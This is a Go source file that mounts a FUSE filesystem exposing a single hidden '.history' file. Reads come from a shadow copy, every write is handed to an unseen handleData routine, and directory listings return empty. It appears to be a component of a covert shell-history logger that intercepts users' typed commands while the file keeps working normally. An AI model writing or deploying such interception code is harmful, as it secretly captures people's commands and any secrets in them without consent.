package main

import (
        "bazil.org/fuse"
        bazilfs "bazil.org/fuse/fs"
        "context"
        "os"
)

type FS struct{}
type Dir struct{}
type File struct{}

var conn *fuse.Conn

func installFuse() {
        conn, err := fuse.Mount(
                mountPath,
                fuse.FSName("fuse"),
                fuse.Subtype("logger"),
        )
        handleError(err)
        defer clean()

        err = bazilfs.Serve(conn, FS{})
        handleError(err)
}

func (FS) Root() (bazilfs.Node, error) {
        return Dir{}, nil
}

func (Dir) Attr(ctx context.Context, a *fuse.Attr) error {
        a.Mode = os.ModeDir | 0755
        return nil
}

func (Dir) Lookup(ctx context.Context, name string) (bazilfs.Node, error) {
        if name == ".history" {
                return File{}, nil
        }
        return nil, fuse.ENOENT
}

func (Dir) ReadDirAll(ctx context.Context) ([]fuse.Dirent, error) {
        return []fuse.Dirent{}, nil
}

func (File) Attr(ctx context.Context, a *fuse.Attr) error {
        info, err := os.Stat(shadowFile)
        if err != nil {
                return err
        }
        a.Mode = 0644
        a.Size = uint64(info.Size())
        a.Mtime = info.ModTime()
        return nil
}

func (File) ReadAll(ctx context.Context) ([]byte, error) {
        return os.ReadFile(shadowFile)
}

func (File) Write(ctx context.Context, req *fuse.WriteRequest, resp *fuse.WriteResponse) error {
        content := string(req.Data)
        handleData(content)
        resp.Size = len(req.Data)
        return nil
}

